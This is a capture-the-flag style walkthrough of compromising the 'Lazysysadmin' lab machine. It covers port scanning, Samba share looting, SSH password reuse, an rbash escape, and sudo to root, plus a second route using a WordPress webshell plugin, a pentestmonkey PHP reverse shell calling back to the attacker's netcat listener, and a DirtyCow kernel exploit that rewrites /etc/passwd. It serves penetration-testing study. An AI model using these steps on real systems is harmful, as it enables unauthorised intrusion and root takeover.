‘Lazysysadmin’ is another of the targets as recommended by the excellent TJnull, in preparation for the OSCP.
Lazysysadmin is considered an ‘easy’ machine. Just for fun, we’ll take a look at a number of different exploitation routes as well as take a look at some post-exploitation activities (specifically data exfiltration or
exfil). Exfil would obviously be of interest to a Red Team operator who is more more ‘goal driven’ and not so fixated on gaining root.
- Enumeration: nmap version scan, BurpSuite, robots.txt, nikto, gobuster, wpscan, enum4linux (Samba), smbclient
- Exploitation: Wordpress, using a ‘Wordpress webshell plugin’, re-using creds
- Post-Exploitation (inc privesc): linPEAS, building a replica system,
- Other tools/techniques/procedures (TTPs): dealing with diversions/red herrings, netcat listener, python web server, sudo
Step 0: Target Discovery
So … as always, let’s see where our target is on the network with a quick nmap ping sweep.
⚡ root@hckbx> nmap -T4 -sn 10.10.10.0/24 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-23 17:35 GMT Nmap scan report for 10.10.10.1 Host is up (0.00030s latency). MAC Address: 08:00:27:D6:2C:BB (Oracle VirtualBox virtual NIC) Nmap scan report for 10.10.10.9 Host is up (0.00051s latency). MAC Address: 08:00:27:31:96:8A (Oracle VirtualBox virtual NIC) Nmap scan report for 10.10.10.2 Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 28.07 seconds ⚡ root@hckbx>~
Since I know that 10.10.10.1 is a DHCP server in my VirtualBox Lab, and 10.10.10.2 is my attacking Kali box, that leaves 10.10.10.9 to be the ip address of the victim box. Now we can do a basic service discovery scan..
Step 1: Service Discovery (basic TCP port scan)
An ‘all ports’ TCP scan (-p-) is kicked off in nmap to see what is open. Since we are in a VirtualBox lab I can speed the scan up a bit more by setting the minRate and maxRate values to quite high thresholds. Furthermore, since we know the host is alive and we are using an IP address for the victim, we can forego the ping scan and name resolution too, resulting in a quicker scan.
In a live engagement, I’ve had mixed success with ‘–max-retries=0’ (unreliable results), but for our purposes due to everything on our test lab, we shouldn’t run into such problems.
Results are output in all formats (-oA) using ‘openTCPLazy’ as our file stem.
⚡ root@hckbx ~/labs/lazysysadmin/01-discovery nmap -T4 -Pn -n --max-retries=0 --min-rate=1000 --max-rate=5000 -p- --open 10.10.10.9 -oA openTCPLazy Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-23 17:40 GMT Nmap scan report for 10.10.10.9 Host is up (0.00048s latency). Not shown: 65529 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 6667/tcp open irc MAC Address: 08:00:27:31:96:8A (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds ⚡ root@hckbx ~/labs/lazysysadmin/01-discovery
Step 2: Agressive Port Scan
So … we have a few of the common ports open: 22(ssh), 80 (http), 139 & 445 (SMB), 3306 (MySQL) and 6667 (irc according to nmap). Time to dig deeper with an agressive scan (see the ‘-A’ switch) on just the port numbers in question.
⚡ root@hckbx ~/labs/lazysysadmin/01-discovery nmap -T4 -Pn -n -A -p 22,80,139,445,3306,6667 10.10.10.9 -oA agressiveLazy Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-23 17:55 GMT Nmap scan report for 10.10.10.9 Host is up (0.00072s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA) | 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA) | 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA) |_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-generator: Silex v2.2.7 | http-robots.txt: 4 disallowed entries |_/old/ /test/ /TR2/ /Backnode_files/ |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Backnode 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 3306/tcp open mysql MySQL (unauthorized) 6667/tcp open irc InspIRCd | irc-info: | server: Admin.local | users: 1 | servers: 1 | chans: 0 | lusers: 1 | lservers: 0 | source ident: nmap | source host: 10.10.10.2 |_ error: Closing link: (firstname.lastname@example.org) [Client exited] MAC Address: 08:00:27:31:96:8A (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -3h20m00s, deviation: 5h46m24s, median: -1s |_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: lazysysadmin | NetBIOS computer name: LAZYSYSADMIN\x00 | Domain name: \x00 | FQDN: lazysysadmin |_ System time: 2020-03-24T03:55:58+10:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-03-23T17:55:58 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.73 ms 10.10.10.9 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.15 seconds
So … what have we really got?:
- 22: SSH server: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
- 80: Web Server: Apache 2.4.7 (Ubuntu). There is a robots.txt file that reveals some interesting entries.The default web page has a title of ‘Backnode’
- 139 & 445: File and Folder Sharing. Samba 4.3.11-Ubuntu. Possibly should follow this up to see if anything is incorrectly configured perhaps
- 3306: MySQL - no info on the version number
- 6667: Chat server - InspIRCd
- No mention of version numbers
Step 3: Considering our attack priorities
- SSH : A quick review via ‘searchsploit’ shows only some username enumeration exploits. There is also a an SFTP issue that works over port 22. To be followed up.
- Web: This appears to be the most promising - resources mentioned for robots.txt, version numbers, titles etc. The number 1 priority at first glance.
- Samba/File/Folder Sharing: File sharing ALWAYS raises an eyebrow on Linux because of the opportunities for mis-configurations
- MySql: Lower down the priorities - no information yet. May come into play if we get a shell
- Chat Server: A quick review on searchsploit does show any matches. May need to review later.
- Given the name of the box, we’ll look for ‘simple’ mistakes first in what appears to be the most obvious place - web stuff, followed by the Samba services.
Step 0: Initial web root review
Before we start browsing around, Burp is configured to passively capture all of the traffic.
In a web browser, after the proxy is specified for Burp, the server IP address is specified and we are presented with what looks like some sort of blog
Looking at the HTML source doesn’t reveal anything particularly, but there is mention my ‘MySQL’ in an article and reference in the page footer of a technology called ‘Silex v2’. All of the code available is reviewed for any ‘howler’ comments such as passwords, usernames etc.
Nothing relevant is found, aside from a comment regarding the silex item in the form of a URL. The URL was followed up and it is a tool to build static web apps - no need for databases etc for the generated site. For now, this option is put to the side.
Step 1: Review resources from robots.txt
We can see a few interesting entries
- ‘old’: just a browsable directory
- ‘test’: as above
- ‘TR2’: Nothing found
- ‘Backnode_files’: just a bunch of resources for the web app already mentioned. At this point, the metadata for the files wasn’t extracted or were there attempts to ‘decode’ the long file name for a jpg file.
- Since directory browsing is turned on … no need to do brute forcing on these folders!
Step 2: Running a nikto scan
Too many details returned (often due to the fact that nikto is well-known for its high ‘false-positive’ rate). A summary is as follows:
- ‘apache’ folder found … but it is empty (directory browsing is enabled)
- An ‘info.php’ file is found. We have a LOT of information returned, Kernel details, folders etc, user account (site is running as www-data), appears to be running My SQL 5.5.57
- There are 2 other folders mentioned
- /wordpress/: ‘togie’ seems to be a recurring reference … perhaps it may be used elsewhere. More follow up needed.
- /phpmyadmin/: Although it showed the page, when an attempt was made to use some possible creds (admin:admin), there was a MySQL server connection error. So … No point proceeding with brute forcing that. Marked for review possibly later (e.g. if there are related exploits, brute forcing credentials etc)
Step 3: Running a gobuster scan
The tool was run as follows:
gobuster -u http://10.10.10.9 -w /opt/SecLists/Discovery/Web-Content/common.txt '200,204,301,302,307,403,500' -e | tee gobusterLazy.txt
The above revealed just 1 other folder ‘wp’. When accessed, it revealed that directory browsing was enabled, but no files were listed. A dead end.
Step 4: Investigating Wordpress
We can see that the ‘admin’ account exists (gotta love the verbose and hacker friendly error messaging!):
Step 5: Running the wpscan tool to enumerate vulnerabilities in Wordpress
WPScan is Excellent for finding vulnerabilities and can also run a brute force attack on a given login. An attempt is made to use the ‘500 worst passwords’ file (from SecLists):
wpscan --url http://10.10.10.9/wordpress -P /opt/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt -U admin threads 5 | tee wpscanLazy.txt
Like Nikto, WPScan can generate a lot of data, so we’ll just concentrate on a summary of the findings:
- Version 4.8.1 is being used (out of date)
- There is a ‘potential’ SQL injection issue, but according to https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/, it is not directly exploitable.
- Numerous client side exploits and other items that require a user to be authenticated … nothing that would give a foothold.
A further password brute force with a larger list (taking 15 minutes to run) failed. It was deemed unlikely that pursuing this option would work in a feasable amount of time, so it is left (for now).
Enumerating the Samba services (TCP 139 & 445)
Step 0: Enumeration with ‘enum4linux’
Enum4linux is pressed into action with the ‘-a’ switch (all enumeration), and it revealed that a share was exposed and enabled ‘listings’ of resources.
======================================= | Share Enumeration on 10.10.10.9 | ======================================= [V] Attempting to get share list using authentication Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers share$ Disk Sumshare IPC$ IPC IPC Service (Web server) ... [V] Attempting map to share //10.10.10.9/share$ with command: smbclient -W 'WORKGROUP' //'10.10.10.9'/'share$' -U''%'' -c dir 2>&1 //10.10.10.9/share$ Mapping: OK, Listing: OK
And we can also see reference to a user called ‘togie’ … we’ll need to keep that for later:
[+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\togie (Local User)
Step 1: Reviewing ‘share$’
So … we can see that we can do enumeration with a null password … let’s see if that apples to taking a looked at the ‘share$’ shared folder through the used of the smbclient tool
⚡ root@hckbx ~/labs/lazysysadmin/01-discovery smbclient //10.10.10.9/share$ Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Aug 15 12:05:52 2017 .. D 0 Mon Aug 14 13:34:47 2017 wordpress D 0 Sun Nov 11 15:26:42 2018 Backnode_files D 0 Mon Aug 14 13:08:26 2017 wp D 0 Tue Aug 15 11:51:23 2017 deets.txt N 139 Mon Aug 14 13:20:05 2017 robots.txt N 92 Mon Aug 14 13:36:14 2017 todolist.txt N 79 Mon Aug 14 13:39:56 2017 apache D 0 Mon Aug 14 13:35:19 2017 index.html N 36072 Sun Aug 6 06:02:15 2017 info.php N 20 Tue Aug 15 11:55:19 2017 test D 0 Mon Aug 14 13:35:10 2017 old D 0 Mon Aug 14 13:35:13 2017 3029776 blocks of size 1024. 1359864 blocks available smb: \>
Let’s get greedy and pull a copy of EVERYTHING accessible to a local folder in our attacking Kali box:
smb: \> mask "" smb: \> recurse ON smb: \> prompt OFF smb: \> mget *
A quick overview on the above:
maskcan be used to set up search conditions, but since we want all files, just specify an empty mask.
recurseis turned ON as we want to pull down a copy of all files, folders and sub-folders
promptis set to FALSE as we don’t want the smbclient annoying us with questions as to whether we really want specific files/folders - in other words ‘we know what we want, don’t ask questions!’
mget *means ‘just get everything with no conditions’
Step 2: Examing ‘share$’ content for useful information
The first file of interest is ‘deets.txt’:
CBF Remembering all these passwords. Remember to remove this file and update your password after we push out the server. Password 12345
So …. a password. Remember that we have a user called ‘togie’. Let’s keep that aside for now.
The wordpress folder is our next item of interest - more specifically, the wp-config.php file. The database in use will likely have a username and password. That might come in handy.
/** MySQL database username */ define('DB_USER', 'Admin'); /** MySQL database password */ define('DB_PASSWORD', 'TogieMYSQL12345^^');
More useful creds
Reviewing what we have and determining next priorities
We have a number of interesting possibilities
- A username (found via enum4linux) and a password in a text file pulled from an exposed shared. That might be interesting to see if ssh access can be gained.
- MySQL database credentials. Sometimes people might JUST re-use credentials on a different service - in this case, that could be for the Wordpress admin facility, the phpMyAdmin facility or trying to interface directly with the MySQL database server itself perhaps (as TCP 3306 is open)
- If ssh, Wordpress and phpMyAdmin options don’t immediately work, we might wish to consider ‘mixing and matching’ the usernames and passwords against each of the individual services.
- If the ‘mix and match’ idea doesn’t work, we can then take a look at using some wordlists to brute force some of the services or looking for potential remote exploits.
Let’s go each of those options in order.
Option 1: Attempting to gain ssh access
Step 0: Trying the creds
So let’s see where togie:12345 for the username:password combo:
⚡ root@hckbx ~/labs/lazysysadmin/01-discovery/share/wordpress ssh email@example.com ################################################################################################## # Welcome to Web_TR1 # # All connections are monitored and recorded # # Disconnect IMMEDIATELY if you are not an authorized user! # ################################################################################################## firstname.lastname@example.org's password: Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Mon Apr 6 09:11:17 AEST 2020 System load: 0.08 Processes: 175 Usage of /: 49.1% of 2.89GB Users logged in: 1 Memory usage: 27% IP address for eth0: 10.10.10.9 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ 133 packages can be updated. 0 updates are security updates. togie@LazySysAdmin:~$
Great. We got a shell! :-)
Step 1: Dealing with a restricted shell
With just a few basic commands to ‘look around’ we find that we are in a ‘rbash’ (restricted bash) environment
togie@LazySysAdmin:~$ pwd /home/togie togie@LazySysAdmin:~$ cd / -rbash: cd: restricted togie@LazySysAdmin:~$
A full tutorial on how to escape a restricted bash environment is out of the scope of this writeup - a couple of useful articles can be found here (Escape from SHELLcatraz - Breaking Out of Restricted Unix Shells) and here (scroll down to the ‘Getting out of restricted shell’ section).
After experimenting around there are a couple of quick options that will work. The first one is based around establishing an ssh session (as ‘togie’) with
"bash --noprofile" specified as the value for the
⚡ root@hckbx ~/labs/lazysysadmin/01-discovery/share/wordpress ssh email@example.com -t "bash --noprofile" ################################################################################################## # Welcome to Web_TR1 # # All connections are monitored and recorded # # Disconnect IMMEDIATELY if you are not an authorized user! # ################################################################################################## firstname.lastname@example.org's password: togie@LazySysAdmin:~$ ls -lah /home/togie total 28K drwxr-xr-x 3 togie togie 4.0K Apr 5 22:35 . drwxr-xr-x 3 root root 4.0K Aug 14 2017 .. -rw------- 1 togie togie 134 Apr 6 09:27 .bash_history -rw-r--r-- 1 togie togie 220 Aug 14 2017 .bash_logout -rw-r--r-- 1 togie togie 3.6K Aug 14 2017 .bashrc drwx------ 2 togie togie 4.0K Aug 14 2017 .cache -rw-r--r-- 1 togie togie 675 Aug 14 2017 .profile togie@LazySysAdmin:~$
A second option would be to establish a normal ssh session (with the -t switch) and use the
chsh command to literally ‘change the shell’ - e.g. to a normal bash session:
togie@LazySysAdmin:~$ chsh Password: Changing the login shell for togie Enter the new value, or press ENTER for the default Login Shell [/bin/rbash]: /bin/bash togie@LazySysAdmin:~$ ls -lah /home total 12K drwxr-xr-x 3 root root 4.0K Aug 14 2017 . drwxr-xr-x 22 root root 4.0K Aug 21 2017 .. drwxr-xr-x 3 togie togie 4.0K Apr 5 22:35 togie togie@LazySysAdmin:~$
Step 2: Privesc from togie to root
Before jumping into running any privesc scripts, it’s always good to see if there are any low-hanging fruit. The easiest option for .nix operating systems is to determine if the given user has any
sudo capabilities with the
sudo -l command:
togie@LazySysAdmin:~$ sudo -l [sudo] password for togie: Matching Defaults entries for togie on LazySysAdmin: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User togie may run the following commands on LazySysAdmin: (ALL : ALL) ALL togie@LazySysAdmin:~$
Bingo! So …. we can literally run any command with sudo privs (so long as we know the password for ‘togie’, which we obviously already do):
togie@LazySysAdmin:~$ sudo su root@LazySysAdmin:/home/togie# id uid=0(root) gid=0(root) groups=0(root) root@LazySysAdmin:/home/togie# ls -lah /root total 28K drwx------ 3 root root 4.0K Aug 15 2017 . drwxr-xr-x 22 root root 4.0K Aug 21 2017 .. -rw------- 1 root root 1.8K Apr 6 10:19 .bash_history -rw-r--r-- 1 root root 3.1K Feb 20 2014 .bashrc drwx------ 2 root root 4.0K Aug 14 2017 .cache -rw-r--r-- 1 root root 140 Feb 20 2014 .profile -rw-r--r-- 1 root root 347 Aug 21 2017 proof.txt
Step3: Time to grab the usual flag data:
root@LazySysAdmin:/home/togie# cat /root/proof.txt WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851 Well done :) Hope you learn't a few things along the way. Regards, Togie Mcdogie Enjoy some random strings WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851 2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7 pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02 bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu root@LazySysAdmin:/home/togie#
Option 2: Exploiting Wordpress
Step 0: Trying the Creds
We’ll try ‘Admin:TogieMYSQL12345^^’ for the username:password combo via the wp-login page
And it works!
Step 1: Consider Wordpress exploitation options
We have a few immediate options (this isn’t necessarily an exhaustive list).
- Tamper with an existing template file such as the ‘404’ (file not found) component
- Create a webshell plugin
Just for the sake of brevity, we’ll focus on the webshell plugin option as it is the option which I seldom see in writeups. It’s always good to have an extra trick up your sleeve just in case one of the options doesn’t work in some situations.
Step 2: The webshell plugin route
Go ahead and create and install a Wordpress webshell. I have provided a detailed writeup on the subject here (code available).
Trying out the webshell
The location of the webshell should be as follows:
Just substitute the ‘path/to/your/wordpress/site’ with the obvious details, remembering to modify the URL with either http or https (of course, it should ALWAYS be the latter … lol)
The webshell uses a querystring paramater called ‘cmd’, so just to confirm things are working ok, we’ll add a simple querystring value to list out the directory contents, including any hidden files.
So … you can see the contents of the ‘plug’ folder, which is obviously the folder where the Wordpress webshell file (plug.php) is stored.
Using the pentestmonkey php reverse shell script
This particular script continues to be of use in lots of machines. As always, just customize the script with the IP address of our attacking box and the associated port number.
set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.10.2'; // CHANGE THIS $port = 5555; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;
The script is transferred to our victim box by setting up a python web server on the attacking Kali box and issuing a wget operation via the webshell.
Setting up our listener
Nothing special - just the following:
⚡ root@hckbx > ~/labs/lazysysadmin/02-exploitation > nc -nlvp 5555 listening on [any] 5555 ...
The php-reverse-shell script (rshell.php) is triggered via visiting the following URL:
This results in a nice shell being returned (albeit a not very interactive one):
⚡ root@hckbx ~/labs/lazysysadmin/02-exploitation nc -nlvp 5555 listening on [any] 5555 ... connect to [10.10.10.2] from (UNKNOWN) [10.10.10.9] 58388 Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux 09:20:37 up 4 min, 0 users, load average: 0.15, 0.45, 0.24 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Upgrading to a semi-interactive tty
We can upgrade to a semi-interactive tty (terminal type) session with our usual trick:
$ python -c 'import pty; pty.spawn("/bin/bash")' www-data@LazySysAdmin:/$
So …. you got your shell via the Wordpress route …. now what? Privesc time!
There are a number of options open to us at this time:
- Enumerate all the files and folders, find the creds embedded in the wp-config.php (assuming you didn’t find them already via the SMB route) from before and then use that to switch to the togie user, followed by a ‘sudo -l’ and then ‘sudo su’. But there is no fun in that …. we’ve already been there and done that. Let’s find something else.
- Run some of the privesc scripts such as LinEnum.sh or the new LinPEAS tool (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) and see what comes out of those.
- Notice that by simply running ‘uname -a’ that the Kernel level suggests that the machine may be vulnerable to DirtyCow. Maybe that is a quick way to root?
Because of the perceived ‘payoff’ I opt for the latter.
Exploring the DirtyCow route and discovering that ‘none shall pass’
The first port of call now is to determine if there is a compiler installed … or more specifically ‘gcc’. Running ‘which gcc’ turns into a dead end. The creator of lazysysadmin really didn’t want the box to be pwned in this manner. So …. what would you do in this situation?
The ‘short’ answer is to ‘simply’ build your own shadow version of lazysysadmin in terms of:
- the Linux vendor (Ubuntu)
- The version of the Linux distribution (14.04.01) - the 32bit flavour
- The correct kernel version (4.4.0-31). This is interesting as the stock kernel version for Ubuntu 14.04.01 is actually a lot older …. the 3.3 branch I understand. So that means a kernel upgrade
- Download the correct Ubuntu ISO file from the Ubuntu archives and create a new machine in VirtualBox
- Install a GCC compiler. My research showed that it should be 4.8.
- Install the correct Linux header files to match the kernel level. These will be needed to correctly compile the DirtyCow exploit
The above is not an easily accomplished task and some would say it is stupid and a waste of time. I beg to differ. The VM will always come handy in the future for any machines that have a similar architecture. By the way … the above is only going to get us to the starting line as we still would have to do the following:
- take a snapshot of our shadow victim
- Compile, troubleshoot and re-compile the exploit until we get it ‘right’.
- Consume copious amounts of tea/coffee/other beverage of choice.
Then and only then would we be in a position to transfer the completed binary to the ‘real’ lazysysadmin team. Even at this point there may be trouble if somehow the box has some files missing that are needed for non-statically compiled binary to run. More testing, machine snapshots and rollbacks may be required.
Onwards to battle
As it turned out, the version of DirtyCow that worked was found here
The exploit did not have to be statically compiled, which saved some time.
As always, a python web server was established - this time, it was on the shadow victim computer. A wget operation was performed on the limited privs shell (as the www-data user) to transfer the compiled exploitm, make it executable (chmod 755) and then perfom a basic inspection to ensure that it was a 32bit binary:
www-data@LazySysAdmin:/tmp$ chmod 755 dcow chmod 755 dcow www-data@LazySysAdmin:/tmp$ file dcow file dcow dcow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3ccf15f802caac012fe9e6f0d5da036179a02354, not stripped
As can be seen from the above, everything is in place. Time to cross fingers and toes and try it out
Trying out the DirtyCow exploit
It worked! As can be seen, we got root and dumped out our root flag in ‘proof.txt’
www-data@LazySysAdmin:/tmp$ ./dcow ./dcow Running ... Received su prompt (Password: ) Root password is: dirtyCowFun Enjoy! :-) www-data@LazySysAdmin:/tmp$ su root su root Password: dirtyCowFun root@LazySysAdmin:/tmp# cd /root/ cd /root/ root@LazySysAdmin:~# ls ls proof.txt root@LazySysAdmin:~# cat proof.txt cat proof.txt WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
The exploit did have some collateral damage as it appeared to take a copy of /etc/passwd and replaced it with another (we are only showing a snippet):
cat /etc/passwd sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin root:$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/:0:0:root:/root:/bin/bash ...
Upon closer inspection we can see that there is a password hash (to represent the ‘dirtyCowFun’ clear text value) embedded into /etc/passwd. Plus … our togie user is no longer available. Thankfully a copy of the original is saved at /etc/passwd- so it can be rolled back.
This wasn’t a necessarily difficult machine as such. Perhaps by going the extra couple of miles to achieve root status in a different manner is what really motivated me. Simply not having compiler tools installed was not an excuse … I wanted to try harder and do something different.
I totally get it that DirtyCow is nothing fancy, but hopefully you learned a bit about my approach to problem solving. You never know … someday you may end up in a situation (OSCP exam!) where something like that is the ONLY show in town unless you want to burn your only Metasploit match!
I’d be grateful for your feedback/comments/suggestions. You can find me on twitter: @jckhmr_t
Article Photo: Kevin Ku, pexels.com